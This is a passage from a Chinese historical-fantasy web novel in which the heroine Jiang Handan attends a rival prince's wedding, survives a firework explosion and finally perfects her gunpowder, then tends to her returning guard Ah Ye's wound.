从“乱臣贼子狼子野心谋主夺权”到“奸佞小人狐媚偏能惑主”,姜家家主在朝堂上都没有这么长篇大论过。 姜菡萏捧着一颗桃,拿起旁边的银刀,开始把桃子切成小块。 两世里都没什么用刀的经验,她切得很慢。 等桃子切好,姜祯也终于停下来喘气,她把桃子递过去:“哥哥口渴了吧?” 姜祯感动。呜呜妹妹亲手切的桃。 再加上确实口中渴,桃子又出乎意料地甘甜,姜祯一口气吃了大半。 姜菡萏趁机告诉他景州官印的事:“阿夜若真有私心,大可独吞这枚官印,我什么消息也不会收到。” 姜祯无法反驳,但阿夜在雅间里那种冰冷的眼神给他的印象太深了,他皱眉道:“此子非等闲货色,无论如何,不能把庆州交在他一个人手里。” 姜菡萏:“这不是还有郭俊吗?” “我看那个郭俊也是被他灌了迷魂汤,一口一个夜统领,早忘了自己是姜家府兵的校尉。” 姜菡萏想了想:“我知道了。” “还有,明天天一亮就走!” 姜家家主从小到大很少受委屈,今日在雅间被一名侍卫压制,姜菡萏知道哥哥这口气实在很难放下。 “好好好,听哥哥的。” 姜祯这才满意。 * 次日清早,姜菡萏离开庆州。 为免像来时那样引起全城围观,她让阿夜留在澹园,不许相送。 阿夜站在她面前,没有让开,宽阔胸膛仿佛一堵墙,在姜菡萏经过他身边的时候,抓住了姜菡萏的手腕:“不许走。” 姜菡萏讶然,阿夜很少用这种语气跟她说话:“我要是不跟哥哥回去,哥哥会生气的。阿夜乖,听话。” “我不想听话。”初升的朝日下,阿夜的眉眼沉郁,声音低哑。 姜菡萏只觉得手腕上一阵阵发紧,忍不住出声提醒:“阿夜,你弄疼我了。” 阿夜一震,倏然松手,仿佛要阻止自己似的,空手紧握成拳,指节发白。 “还有半天。”他低低地道,声音仿佛是从牙缝里挤出来。 姜菡萏这才发现,庆州之行对她来说是一时心血来潮的许诺,但对阿夜来言,好像非常重要。 “对不起啦。”姜菡萏轻轻拉了拉阿夜的手,“下次再来补上,好不好?” 阿夜抬起了头,仿佛有阳光和风从她手上直接透过两人碰在一起的肌肤穿到他的身上,一点一点驱散心中正在凝聚的黑暗。 “下次是什么时候?”他问。 远处的姜祯看见妹妹拉着阿夜的手,差点儿跳起来,被一旁的许南珠劝住了,姜祯大声叫道:“菡萏!快走!一会儿太阳大,路上热!” “下次我们过生辰的时候,好不好?”姜菡萏道,“到时我早点来,我们一起过生辰。” “好。”阿夜凝望着她的脸,“我等着你。” 姜菡萏松开手,转身走向马车。 阿夜下意识追出两步,姜菡萏在马车内向他挥手,渐行渐远,渐渐把他抛在后面。 他站着一动不动,马车走得越远,他的身影便显得越小,阿糖在他的脚边打转,一人一狼,显得格外孤单。 * 回到梁州后,姜菡萏让顾晚章写信给李思政,问他愿不愿意调到庆州当通判。 通判在知府之下,品阶比县令要高。 当然,也没有隐瞒庆州眼下的真实情形。 李思政很快就回了信——他愿意,不过要带上严何之。 此举正合姜菡萏的意思。 顾晚章花了点银子疏通吏部,秋天的时候,李思政便成了庆州通判,严何之则进了澹园,接替郭俊,打点澹园内外事务。 郭俊则从梁州带了一千府兵,分批进入景州,第三处养兵之处正式启用。 姜祯对这个局面很满意,李思政与严何之都是耿介之士,绝对不会跟阿夜同流合污。 此时梁州的府兵只剩几百人,顾晚章再次紧锣密鼓招兵买马,交给许南风训练。 许南珠把弟弟叫到一旁,问道:“你可有什么地方做得不好,不得小姐欢心?” 许南风说:“没有啊。” 许南珠不解,按说姜祯一闹,姜菡萏和阿夜之间多少有些离心才对,让许南风去景州牵制庆州的阿夜,才是最明智的做法。 许南风挠挠头:“姐,我觉得留在这里挺好,要是真去了景州,跟这里隔着七八百里,想见小姐一面都难。现在就在小姐身边,有什么事小姐就能传唤我,多好。” 许南珠愣了愣,然后摇摇头,轻笑:“没真想到,你这个傻小子,还是痴情种子。” 许南风脸红了:“没有,小姐待我那么,我这是士为知己者死。” 姜菡萏一点儿不掩饰她对许南风的照顾。 因为自己的厨艺造过孽,便勤加反省,再也没有下过厨房,只叫人天天给许南风送吃的。 天热从绿豆莲子汤,天凉送红豆陈皮汤,人人都知道自从阿夜走了,唯有许南风独得恩宠。 十月初三,姜祯来到别院。 来的时候风尘仆仆,一脸匆忙,赶到丹房:“妹妹,好消息!” 又一次爆炸失败,姜菡萏正忙得灰头土脸,头也没抬:“什么消息?” “风曜要大婚了!” 明明已经听见是好消息,姜菡萏心里还是忍不住抽紧。 也许风曜和虞仙芝又商量出了什么新的招式,诓得承德帝不顾一切下旨赐婚? 胸口被刀刃洞穿的痛苦又来了,她低声问:“……和谁?” 姜祯笑嘻嘻:“咱们家嘉妙善女。” 姜菡萏愣住了,不敢相信自己的耳朵。 “哈哈,高兴吧?我得了消息,马不停蹄就往这儿赶,就为了第一个告诉你!”姜祯笑得灿烂,“是大婚,正儿八经取的皇子正妃,娶的还是姓姜的!这下风曜那厮断没有再打你主意的道理!” 也正是因为这一点,太皇太后没拦着,让姜蘅芷从庙里出来了。 承德帝也是爱子心切,借着这场大婚,把风曜的王爵又还了回来。 姜家人没有反对。 这是一种默许,风曜放弃了姜家嫡女,就是等于是放弃了未来皇位。 姜家有喜事,姜祯这个家主自然脱不开身,他过来报完喜讯,很快就赶回去了。 姐姐出嫁,姜菡萏原该出席,可谁让她“六亲有故”呢?当然还是选择在梁州躲清净。 可是没过多久,太皇太后宫中来了人传旨,让姜菡萏入宫观礼。 于是时隔数月,姜菡萏再次回到京城。 马车刚进城,就看见羽林卫在砸紧闭的库门,骂骂咧咧把里面的商户拖到街上鞭打。 姜菡萏问前来迎接的顾晚章:“这是怎么回事?”她 一路上已经看到不止一家商户被如此对待。 “贤王的婚事虽然定得匆忙,但按陛下的性子,一定要风光大办,婚礼必要极尽奢靡。可无论是内库还是国库都拿不出钱来,所以有人给陛下想了个法子,让京城百姓掏钱,名曰‘喜税’。其中商户的喜税交得最重,交不出来的便要受鞭刑。” 顾晚章的声音古井不波,脸上也没有什么情绪。 但姜菡萏知道,这样的顾晚章恰恰是最生气的时候。 她问:“这是谁出的主意?” “没人会承认,但安贵妃刚从通天观祈福回来,陛下便下了这道旨意。” 那就是……虞仙芝。 姜菡萏有时候看不懂虞仙芝,这是嫌京城不够乱、承德帝的名声不够坏吗? * 腊月十七,姜蘅芷从姜家出嫁,姜家各房女眷齐聚,各说一句吉利话儿,为新娘添妆。 景氏陪着姜蘅芷,也许是唯一的女儿回来了,终身又有了着落,景氏的面色看上去好了许多。 轮到姜菡萏,她将一支东珠大簪簪上姜蘅芷的发髻:“恭喜姐姐,心愿得享。” 姜蘅芷本就清瘦,漫长的清修让她的下巴更为尖削,她看着那只大簪,眼中有异样的光:“妹妹,今天是我的大喜之日,你还要如此折辱我吗?” 姜菡萏心说我是看你喜欢,才把它送给你,你难道不知道它有多值钱? 当然了,还有一点小原因,那就是姜蘅芷已经戴过了,她老觉得这珠子都跟着变得晦气起来,放着也是碍眼,干脆送出去。 只是无论哪一个理由,姜蘅芷听完只怕都会更生气,所以姜菡萏只是道:“不喜欢可以不要。” 姜蘅芷脸色发青,过了好一会儿,才慢慢道:“不敢。到底是妹妹的一番心意,姐姐却之不恭。这皇宫,姐姐先嫁进去了,妹妹晚了一步。” 姜菡萏微笑:“恭喜。” * 皇家婚礼规矩多,有着数不尽的礼节,好在作为宾客颇为轻松,她只要入宫喝个喜酒便是。 她的座席照例挨着丽阳,丽阳看上去有些愁眉不展的样子。 姜菡萏很少关注旁人,但丽阳的忧伤太明显了,不由让姜菡萏想起来,之前几次见面,她脸上就没什么笑容。 好像越是长大,她的快乐就越少了。 大约是注意到姜菡萏的视线,丽阳抬起眼,像是才发现姜菡萏似的,她想了想,在席位上靠近一点:“姜菡萏,跟你商量一个事。” 姜菡萏:“你说。” “你要多少钱才能放过顾晚章?” “……”姜菡萏,“……这么久了你还没死心呢?” 丽阳脸上有种看淡生死的倦意:“有什么死不死心的,我现在唯一能为他做的,就是还他自由。说吧,你成天让他挣钱,可见是真爱钱,要多少?我给你,你放他离开。” “那可是顾晚章,多少钱我都不会放的。” 你知道顾晚章多会挣吗?只要给他足够的时间,他说不定能买下整个大央。 “你!” 丽阳柳眉倒竖,看起来像是要拍案而起。 姜菡萏觉得,这才像以前的丽阳。 就在这个时候,新郎过来敬酒。 风曜身穿吉服,头戴金冠,人面如玉,丰神俊朗。 即便是曾经失势,但借着一场婚礼拿回王爵,他又一次成为风光无限的贤王殿下。 不少贵女悄悄伤心,并且暗暗不服——若是输给姜家嫡女,倒也罢了,凭什么是输给一名庶女? 姜菡萏只盼着这场婚礼能顺顺当当完成,一点儿也不想惹事,乖乖端着杯子准备喝。 太皇太后忽然含笑开口:“去唤太子过来,让他和菡萏一起沾沾喜气。” 风明在赵公公的引领下过来,他今年十二岁,已经开始长个子,和姜菡萏站在一起一般高了。 两人并肩而立,祝风曜百年好合早生贵子。 这是一种宣告,也是太皇太后要让姜菡萏过来参加婚宴的原因。 微笑像是焊在了风曜脸上,一丝儿也没有受到动摇,风曜的声音听上去也很愉快:“多谢太子殿下,多谢菡萏妹妹。” 说着,他顿了一下,问姜菡萏:“我今年送生辰礼,妹妹可收到了?” 姜菡萏:“谢殿下关怀,收到了。” 风曜的生辰礼每年都是和安贵妃的一起送达。 每年都是一只摆件。有金的、翡翠的、羊脂玉的、嵌宝的……大大小小,样式不一,但雕的全是一只小兔子。 姜菡萏属兔。 风曜看着她,殿上华丽的七宝树灯折射出璀璨光华,映进他的眼底,这一瞬间他完美的笑容似乎裂开了一道微小的缝隙,他问:“喜欢吗?” 姜菡萏抬起头,露出一个平静的微笑:“殿下送的,自然是好的。” 自重生后,姜菡萏就把所有兔子都交给顾晚章发卖了。 恶不恶心的不重要,重要的是能变成银子去办事。 今年的也不例外,在送到梁州别院的当天就被划分到值钱的那一拨,第二天就让顾晚章带走了。 风曜深深看了她一眼,走向下一席,敬完才离开。 风明也跟着回外头筵席上了,姜菡萏觉得自己的事情已完,便打算起身告退。 “等一下。”丽阳忽然唤住她。 姜菡萏以为丽阳还要提顾晚章,却见丽阳开始满身找东西:“咦?搁哪儿了?” 姜菡萏:“找什么?” “一个香囊。” 姜菡萏:“我不要香囊。” “不是给你的。” 丽阳翻了半日没翻着,还是身边的宫女想起了什么,在她耳边提醒了几句,丽阳道:“还不快去拿?” 宫女悄悄离席,姜菡萏的视线顺着她出去,忽然发现她在殿外游廊拐角处就停下了,大约是被人叫住,然后她很快地带着一只香囊回来。 丽阳把香囊塞进姜菡萏手里:“带给你哥。” 姜菡萏一看,香囊做工精细,香料也上乘,但一看就是宫中所制,逢年过节人人都发,没什么稀奇的。 “你觉得我哥会缺这么个香囊?” “他不缺,我缺。”丽阳道,“我是风家公主,他是姜家家主,我得嫁给他,得送他东西讨好他,这是我的差事,懂吗?” 风家皇室祖上有遗训,风家皇帝必娶姜家嫡女为后,但为防姜家坐大,历代姜家帝王也会想方设法把公主嫁进姜家。 姜菡萏的母亲便是如此。 姜菡萏拿着香囊,有点嫌弃:“那你好歹上心些,你觉得我哥看得上这个吗?” 丽阳看着她半晌:“姜菡萏,有没有人说过你很讨厌?” “有啊。”姜菡萏道,“你不就常说吗?” 不再理会丽阳气到变形的脸,姜菡萏悠然起身告退,离席。 她觉得丽阳还是生气比较可爱。 带着人离开大殿,前面不远处已经有人等着她——这是她方才在游廊上看见的人,随即派人去叫住的。 那人是鹿长鸣。 他又升了官,除了是乐府令,还兼少府少监,这是一等一的肥差,专为皇帝管理私库,可见当真是官运亨通,已经是承德帝身边的红人。 只是这样的红人在今夜这样的场合,居然没有在承德帝面前侍奉,反而偷偷溜到女眷这边的大殿,给丽阳送香囊。 姜菡萏开门见山,拎着香囊:“怎么回事?” 鹿长鸣“扑通”一声就跪下:“小姐冤枉啊,小人跟公主绝对没有私情,这是公主不小心落在小人这里的!” 姜菡萏:“……我说你跟她有私情了吗?” 鹿长鸣哆哆嗦嗦抬眼:“主要是香囊这个东西它就不怎么清白……万一小姐告诉家主,家主觉得公主跟小人有私情,那可就完了。” ……想得还挺多。 姜菡萏道:“一只香囊而已,有什么不清白?说清楚就好了,丽阳准备送给我哥的东西,为什么会在你那里?” 鹿长鸣大冬天的额头有点冒汗:“……是这样,公主闲来无事,会跟着小人学琵琶。今日练琵琶的时候,公主不小心把香囊落下了。小人猜想这个香囊要紧,所以特地赶着送过来。” “大冷天的,鹿大 人出这么多汗,不正常吧?” 鹿长鸣额头上的汗冒得更多了:“小姐恕罪!” “你是不是也发现不对了?” 鹿长鸣抬头:“……?” “丽阳懒得很,且从来都是喜新厌旧,做什么都只图一个新鲜,怎么可能跟你学那么久的琵琶?”姜菡萏叹了口气,“你和姜家的关系,只怕是被她发现了。她觉得我抢了顾晚章,所以也要从我这里抢个人,所以你才被盯上了。鹿长鸣,辛苦了。” 鹿长鸣:“………………” “继续帮我留意宫中动向,你的辛苦我自会补偿。去吧,离席太久,恐怕惹人怀疑。” 姜菡萏说着,带着人走开。 鹿长鸣站在原地,反复寻思,发现小姐不愧是一手把阿夜捡回来的人,脑子与常人就是不一样。 “这是完全没有开窍啊……”鹿长鸣对着姜菡萏远去的身影喃喃,“命苦哇,我夜哥。” * 姜祯知道妹妹从不终席,也提前退席,和妹妹一道回家。 出宫的路上,姜菡萏把那只香囊拿给姜祯。 姜祯果然没看上,顺便道:“让丽阳歇歇吧,就算她不是公主,就冲她那个脾气,我也不敢娶。” 姜菡萏拿着那香囊,正想扔了,上马车的时候,视线忽然落在马车旁的许南风身上。 “阿风,”姜菡萏道,“给你个东西。” 香囊落进许南风手里,透着香气,还带着暖暖的温度。 姑娘家送香囊是什么意思,许南风再傻也懂的。 他站在寒风中,脸慢慢红透了。 * 姜菡萏第二日便离开京城,回到梁州。 风曜成婚,解决了她的一桩心事,她只觉得心上少了一份重担,全身心扑进丹房。 转眼便是除夕,又到了人世间一年一度最热闹的时候。 今年别院多了一个许南珠,将上上下下操持得妥妥当当,顾晚章来了都能闲下来喝茶,姜菡萏当然更不用操半点心。 她裹着斗篷,抱着暖炉,看着许南风带人搬出许多烟花,预备晚上燃放。 今年别院没有从外头买烟花,这些全是姜菡萏做的。 有些烟花大,需要找空旷处放,有些小,可以在檐下放。 姜菡萏坐在这里便是指点他们放烟花的位置。 这里也是别院视野最开阔的地方,正对着院子,无论谁经过都可以瞧见。 等到烟花都摆好了,阿福道:“外头风大,小姐先回屋更衣吧?” “我再坐坐。”姜菡萏说。 姜菡萏看着阳光一点点从院门口西斜,把院门的影子拖得长长的,终于太阳落山,影子消失,黑暗降临。 “小姐,准备吃饭了!”这是侍女们的声音。 “外头多冷啊,怎么能一直这么坐着?”这是苏妈妈的声音。 “小姐可是在等什么人吗?”这是许南珠的声音。 姜菡萏摇摇晃晃站起来:“是啊。” 她在等阿夜。 阿夜在信上说了,会回来过年的。 第57章 第57章阿夜,我成了! 前段时间景州城外有山匪作乱,劫掠往来商客,府兵一旦出去围剿,山匪便遁入山中,府兵退入城中,山匪又伺机作乱。 郭俊无法,只得去庆州请阿夜。 阿夜的最后一封信,写的就是“等杀完人,就回家过年”。 姜菡萏回房更衣的时候,又把这封信找出来。 阿夜跟她说好的事情,每次都会做到。 但这次好像失约了。 她把信收进匣子里,这只匣子已经快放满了,很快又要换一只新的匣子。 严何之的进士之才,到了澹园是半点没浪费,忙里忙外之余,还要被阿夜拉着教写字。 姜菡萏想想便不自觉轻笑起来。 衣裳很快就换好了,喜庆吉祥的日子,姜菡萏也被打扮得很是喜庆吉祥。 阿福端详着她。 前两年这么穿,她还像个瓷器人偶似的玉雪可爱,这两年身形也长开了,眉眼也舒展了,美得光华灿灿,让人移不开眼睛。 “阿福看什么?”姜菡萏问。 阿福摇摇头,含笑,眼中却微微带了一点泪意:“小姐长大了。” 姜菡萏想了想,道:“是不是舍不得我啊?” 阿福的婚事已经定下了,是梁州知府家的表公子,书香门第,家境殷实,郎君性子疏阔开朗,在府衙谋了个小差事,每逢年节便随知府过来送礼,对阿福甚是中意。 时下为官者,比起小家女,更愿意娶大家婢。一来是贵人身边近身侍奉之人,贵人往往多有提携;二来大家婢子识礼仪,知进退,善应酬,对丈夫的仕途多有裨益。 所以姜菡萏让苏妈妈替阿福留意人家,苏妈妈首选是为官作宦的人家,起码也得是个知府。 但阿福偏偏相中了那位表公子,她是温柔安静的女子,不会眉目传情,可每次表公子来,阿福脸上的笑容都要多些。 年前,表公子来下了聘,选定了婚期,就在明年正月。 明年,就是永兴五年,上一世叛军就是在明年九月杀入京城。 这几年来,救张贺,逐汤博望,保风明……桩桩件件改变了命运的安排,大央虽然依旧摇摇欲坠,但外无战乱,内无动荡,也许京城真的能逃过一劫。 不过姜菡萏已经学会凡事做最坏的安排,要嫁阿福,便要风风光光顺顺当当地嫁,要在一切尚未发生之时,让阿福顺利完婚。 阿福自小陪在姜菡萏身边长大,温柔可亲,与长姐一般。自从婚期定下,便有诸多不舍,闻言,眼圈发红:“我从来没有离开过姜家,从来没有离开过小姐……要不,我不嫁了吧?我一直陪着小姐。” 姜菡萏上一世就是这样想的,自打她有记忆起,侍女们便像姐姐一样陪着她,她觉得她们当然要一直陪下去。 完全没有想过,她们也想要有自己的家呢。 “不嫁的话,嫁妆可就没啦。”姜菡萏轻轻拉着阿福的袖子,“以后再舍不得我,就去看看嫁妆单子,包管你开开心心嫁了。” 许南珠掀起帘子进来,请姜菡萏入席。姜菡萏说等等,阿福要补个妆。 阿福忙去净面补妆。 许南珠轻声道:“我来京城之后,见到不少贵人,他们全都高高在上,下人在他们眼里就好比会动的家具。但是小姐,你不一样。” 姜菡萏心道,她们都为她死过一次,早不是什么下人了,全都是家人。 * 除夕夜宴极是热闹,酒过三巡,隔着山头可以望见梁州城的天空不时被烟花映亮,姜菡萏道:“拿我们的来!” 府兵们欢呼一声,七手八脚,出去放烟花。 这些烟花全是由姜菡萏精心配制,炸上天空的动静十分大,发出“砰砰”巨响。 许南风故意缩了缩脑袋:“小姐,这声音听着像炸炉呢。” 姜菡萏:“胡说八道,扣压岁钱。” 果然,烟花的动静已经如此惊人,升上天空之后,更是炸出灿烂的火花,漆黑夜空为之一亮。 所有人都仰头赞叹。 只有许南风悄悄望着姜菡萏。 她一身华衣,金丝绣线在灯下闪烁着耀眼光泽,一张面孔却比金线刺绣还要夺目,眸子乌沉沉的,仿佛有星光在其中闪烁。 许南风乍着胆子把火折子递给姜菡萏:“小姐要放一个吗?” 许南珠提醒:“阿风,小姐金尊玉贵之躯,小心受伤。” 许南风闻言正要收回火折子,姜菡萏已经接了过去。 火光点燃引线,滋滋滋冒着火星子,蹿向烟花。 姜菡萏期待它发出“砰”地一声巨响然后蹿向天空。 它响了,却跟之前那些烟花的响声完全不一样。 接下来的一切都像是时间被谁放慢,有远处府兵们震惊的脸,有近处许南珠的尖叫,还有身边许南风猛地推了她一把。 这一推力道大极了,她整个人离地而起,像风筝一样飞了出去。 视野被眼前一幕占满——那朵烟花没有升上天空,它就在 原地炸开,爆出一团耀眼的火光。 其它的烟花还在不停升空,院子充满惊恐喊声,所有人都向她冲过来。 许南风那一推使出了全身力气,她的脑袋马上就要撞到柱子上。 太快了,也太近了,姜菡萏甚至来不及恐惧。 要死了? 脑袋要被撞破之前,姜菡萏只有这个念头。 下一瞬,她狠狠撞了上去。 奇异地,完全没有想象中的剧痛,倒是头顶传来一声闷哼。 她撞上的不是坚硬的柱子,而是坚实的胸膛,并且硬中带软,触感甚好……还很几分熟悉。 话说,刚才那生死之际,她的眼角余光好像确实瞥见有道人影闪过。 “阿夜?” 还没有抬头,她就叫出了这个名字,一看果然是阿夜。 这一撞显然把他撞得不轻,他的脸色煞白,眉头紧皱,深深喘息了一口,扶住她的肩头,将她上下打量:“有没有哪里疼?有没有被炸着?” 一连串话已经到了姜菡萏的嘴边,想埋怨他怎么这么晚才来,让她等这么久,又心疼他被撞得这么惨,嘴唇都白了……可当阿夜问出这句话,这些念头都“咻”地一声全飞走了。 她几乎是跳了起来,拎起衣摆就往回冲。 院中一片狼藉,许南风推开姜菡萏,便承受了这次爆炸的主要冲击,此时两眼紧闭昏迷不醒。许南珠抱着他,忧心如焚喊大夫,顾晚章俯身去探许南方的脉门。 方才还为大家带来快乐的烟花登时成为牛鬼蛇神,再也没有人敢动它们一下。 姜菡萏直扑爆炸的当地,捧起烟花残留的纸屑,又刨起地上的泥土,迅速冲向丹房。 但今日的礼服衣摆太长,她跑得又太急,一下踩到衣摆,整个人就往前栽倒。 可她心里一点儿也不慌,甚至连心跳都没有顿一下,因为阿夜回来了。只要阿夜在身边,她就绝不会摔伤自己。 果然,下一瞬,阿夜单手托住她的腰身。 “阿夜,抱我去丹房!”姜菡萏急道,“快!” 阿夜微微一怔,下意识环顾了一下左右,她曾经说过长大了不能抱,在人前也不能抱——可大脑尚在犹豫,身体已经有自己的意识,俯身伸手,一只手便将她抱了起来,冲进丹房。 到了丹房,姜菡萏脚一沾地,直接扑到桌上,放下爆炸过后剩下的纸屑与残泥,翻开桌上的手札。 她在丹房做事向来细致,哪怕是做烟花,也详细记录了原料的配比。 连阳春水都不曾沾过的指尖此时沾满泥土,一行一行找到与那朵烟花对应的记录。 越是激动,手便越是平稳,很快,她找到了。 纸上的配方印进脑子里,姜菡萏开始调配硫磺硝石与木炭,三者混而为一,放进丹炉。 这样的事情她做过千百遍,阿夜也见她做过千百遍,自然而然便递上引线。 想了想,阿夜又递过去一根。 姜菡萏全程沉浸在自己的世界里,看到这多出来的一根引线才回过神:“你是怕炸得太厉害是吗?” 阿夜点头。 “行,听阿夜的。”姜菡萏加上那一根引线,退出丹房。 正准备点火的时候,阿夜再一次抱起她。 之前那次她满心都是火药,根本没有去想其他,此时神魂有所回归,先感觉到的是阿夜单衣之下温热坚实的肌肉,她轻轻踢了踢他:“做什么?放我下来。” 阿夜没说话,一直走到假山后才把姜菡萏放下。 “乖乖待在这里。”阿夜撑着假山,声音低,气息近,高大的身躯和压低的眉峰极具压迫力。 姜菡萏第一次为他的气势所慑,当真呆呆地没有动,眼睁睁看着他取走她手上的火折子,走向丹房。 引线点然,火焰迅速蹿进丹房。 下一瞬,巨大的响动震彻整片山谷。 院中忙乱的人群全部惊呆了,望向巨响的源头。 那是丹房。 或者说,曾经的丹房。 坚固的丹房轰然倒塌,火焰如金龙般冲天而起,仿佛要腾云而上,燃烧夜空。 火焰前,一道人影拿着火折子,逆光而立。 “哈哈。”姜菡萏隔着假山的空隙看着这一幕,呆呆看着,连笑容都几分呆滞。她等这一刻等得太久了,大脑一时反应不过来,“成了?” 成了! 这就是姜家丹房爆炸的力量! 这就是她两年来苦苦追寻的力量! “成了!” 姜菡萏跳起来,冲出假山,奔向阿夜。 她太高兴,太开心,简直不知道如何是好,她扑到阿夜背上,用力抱上去:“阿夜,我成了!我的火药成了!” 阿夜的身体瞬间僵硬。 然后姜菡萏才感觉出不对。 她的脸颊紧紧贴着阿夜的背脊,感觉一片漉湿。 她疑惑地抬起头,摸了一把自己的脸,借着熊熊的火光,看见掌心一片殷红。 ……是血。 第58章 第58章生同衾,死同穴 阿夜永远是一身黑衣,沾了血也不显眼,她又太过兴奋,根本没有留意:“阿夜,你受伤了?!” “小伤。”阿夜道。 姜菡萏才不信,把他拉到火光前,先看见后背上的衣料有一道从左肩斜劈下去的缺口,直到腰间才停。 光是看衣裳上的口子,姜菡萏的心就猛地往下沉。 底下的伤口已经看不出有多深,上面混合着血痂与血……应该是伤口本来已经开始愈合,结果刚才替她挡了一下,又裂开了。 “回房,让大夫给你看看。”姜菡萏想要冷静一点,可声音微微颤抖,手也是。 大夫刚刚处理完许南风的伤。 许南风被爆炸正面波及,还好冬天的衣服厚,他动作又快,避让及时,没有伤到要害,大夫说等他醒了,先静养几日,若没有旁的问题,便算是无碍了。 至于阿夜的伤,大夫看了看道:“原本已经开始结痂,后又受力崩裂,若换成别人,着实棘手,但这位嘛,应该也无大碍。” 毕竟早在别院的时候,大夫就见识过阿夜惊人的自愈能力。 许南风既要静养,阿夜再回去住也多有不便,再加上他自己同样是伤患,不宜受打扰。姜菡萏把自己的外书房拨给阿夜住。 大夫带着阿夜进去,姜菡萏随后迈过门槛。 大夫一愣:“小姐,伤口血腥,恐吓着小姐。” 姜菡萏:“不怕。” 大夫:“……外伤,须得宽衣。” 姜菡萏:“无妨。” 阿夜一直安安静静地看着她,眸子里带着一点微微的笑意。 大夫无法,用剪刀剪开衣料,脱下阿夜的衣裳。 姜菡萏紧紧盯着阿夜后背的伤口,阿夜忽然皱眉头道:“菡萏,松一松。” 姜菡萏不解。 阿夜用目光示意:“你的手。” 姜菡萏这才反应过来,她的手握得太紧了,掌心留下清晰的指甲印子。 “管好你自己。”姜菡萏语气里忍不住带上一丝嗔恼,“受了伤还不知道休养,在哪里过年不是过?” 阿夜没有吱声。但面上笃笃定定的,一脸太平——幸亏他来了,才能及时救下她。 如果他不在……思绪只往这上面转了一转就收回去了,底下的东西他根本不愿去想。 姜菡萏紧张地看着大夫清洗伤口,上药。 金创药以霸道著称,上药的时候,阿夜的脸仿佛又白了两分。 最后裹 上纱布,大夫自去开方子,让人煎药。 书房就剩两人,姜菡萏问:“这伤是怎么回事?谁伤了你?” 除了段璋身边那位江湖高手,阿夜还没有在武力上吃过谁的亏。而且那时候的阿夜年纪还小,实力远不如现在,现在还有谁能伤到阿夜? 阿夜:“那个山匪首领会易容,他让手下扮成他,他易容成了一名带路的景州卫尉,在我杀那个假冒首领的时候,他在我身后偷袭。” 姜菡萏:“真阴险。你把他杀了吗?” “杀了。”阿夜道,“不生气,一点小伤。” “还小伤,你看伤口这么长!” 阿夜漆黑的眸子望着她,只是含笑,不说话。 仍是仰望的角度,仍是湿润的眼眸,和从前那个乖乖跟在姜菡萏身后的少年没有什么分别。可也许是因为他现在变得更加高大,胸膛更加宽阔,手长,腿更长,明明只是普通的坐姿,却有几分大马金刀的气势,书房都显得狭小起来。 空气里不知是有什么东西变得异样,姜菡萏站在自己平日里常待的书房中,居然觉出一丝不自在,她左右看了看,阿夜换下来的血衣已经被大夫顺手带出去了,书房显然没有他能穿的。 她解下自己身上的斗篷,披在阿夜身上。 斗篷是水貂里的,柔软绵密,带着甜甜的花香。 阿夜捉住衣角,情难自禁,送到鼻尖,深深嗅了一口:“好香。” 声音有点喑哑,眸子越发漆黑。 姜菡萏脸颊有点发烫,于是板起脸,训斥:“不许闻。” 换作以前,阿夜会歪歪头问她为什么,可是这次阿夜没有。她还在给他系衣带,离得这么近,她的气息比衣裳更香。 受伤,当然是会痛的。 近千里的奔波,当然是会累的。 可是又可以这样近地看见菡萏,那么所有伤痛和疲惫都烟消云散。 “菡萏……”阿夜的声音很低沉,“我有一百九十一天没有见到你了。” “我很想你。每天都想。” “你想我吗?” 姜菡萏垂下眼睛,视线落在他的手上。 他的手抓着她系衣带的手。 她忽然想起去年跟阿夜比手掌大小,当时他的手就大她一整截。 现在会更大些吗? 脑子里晕晕乎乎地转着些飘飘忽忽的念头。 “想啊。”姜菡萏轻声道,可能是因为声音太低,而屋子里又太安静的缘故,语气里好像有一丝委屈,“我今天一直在等你,等得太阳都落山了……” 然后她立刻感觉到手背上的力道紧了紧,阿夜的手明显在用力。 哪怕还受着伤,阿夜的力道也不是姜菡萏能抵抗的,本就只有半步距离,一下子近到无间,姜菡萏撞在他的身上,“哎”了一声。 这一声落在阿夜的耳朵里,就像一声宛转莺啼,让他的骨头都开始发痒。 “小心伤口!”姜菡萏瞪着他,“这么用力做什么?还想再崩裂一次吗?” 为什么……她连瞪人都这么好看?眸子瞪得滚圆,像两颗黑葡萄,肌肤像剥了壳的荔枝,嘴唇像枝上红透了的樱桃。 整个人轻轻软软,像糯米糍。 阿夜的呼吸有点急促。 “阿夜,你是不是饿了?”姜菡萏只见他的喉结上下滑动,明显是在咽口水。她觉得自己可真够糊涂的,他拖着受伤的身体跑这么远,当然还没有吃东西。 而她只顾着自己的火药,全然不管他还没有吃上年夜饭。 “等等,我让人去给你拿吃的来。”姜菡萏从他的手里挣脱,像蝴蝶一样奔出房门。 阿夜还保持着方才的姿势,手里空空,身前空空。 她一离开,整个屋子都变得空空荡荡。 刚才……他想干什么? 他不知道。 就是想近些,再近些……更近些……这种渴望永不满足。 * 姜菡萏叫来了数不清的下人,准备了一道丰盛的席面,每一道菜都是热腾腾的,香气扑鼻。 她已经吃过了,就倒了一杯甜浆,坐在桌上陪阿夜吃。 阿夜真是饿坏了,吃了个风卷残云。 丹房的火势已经救下去,院子里的烟花没人敢再放了,外头安静得很,梁州城烟花与鞭炮的响动遥遥地传来,像滚滚的春雷。 第二天的时候,许南风醒了。 醒来第一句便问:“小姐可还好?” 得知姜菡萏无恙,他的嘴角只来得及露出一抹笑容,便两眼一闭,又晕了过去。 后续睡睡醒醒,直到第四天才算真正醒来,但头晕恶心,无力起床。 许南珠一直在旁边精心照顾。 阿夜自己不拿这次的伤当回事,但被姜菡萏命令卧床,他只能趴在榻上,觉得骨头快要生锈。 好在姜菡萏时常过来,拿着《千字文》和《三字经》考较他认得多少字了。 阿夜没告诉她,上面的他都认得了。 菡萏愿意教,他当然愿意学。 过了元宵,阿夜和许南风都能下床了。 许南风落下了偶尔头晕的毛病,大夫说是爆炸的时候震到脑子了,慢慢养养才能好。 阿夜:“本来就笨,还伤了脑子……”有点叹息的意思。 许南风跳起来:“是震到脑子,不是伤到!你才伤了脑子!” 阿夜没跟他较真,给他递过去沉甸甸的一块东西。 许南风识货,知道这是陨铁,铸成兵器,能斩金切玉,削铁如泥。 “这么好东西舍得给我?”许南风一面抓得紧紧的,一面问。 “那日是你推开了菡萏。”阿夜道,“这是谢你的。” 许南风脸上的暗喜顿住,陨铁仿佛变得烫手,他一把扔了回来:“我还没谢你接住小姐,当时太紧急,我根本没时间瞧准方位,差点害了小姐。” 阿夜:“我救菡萏,不用你谢。” 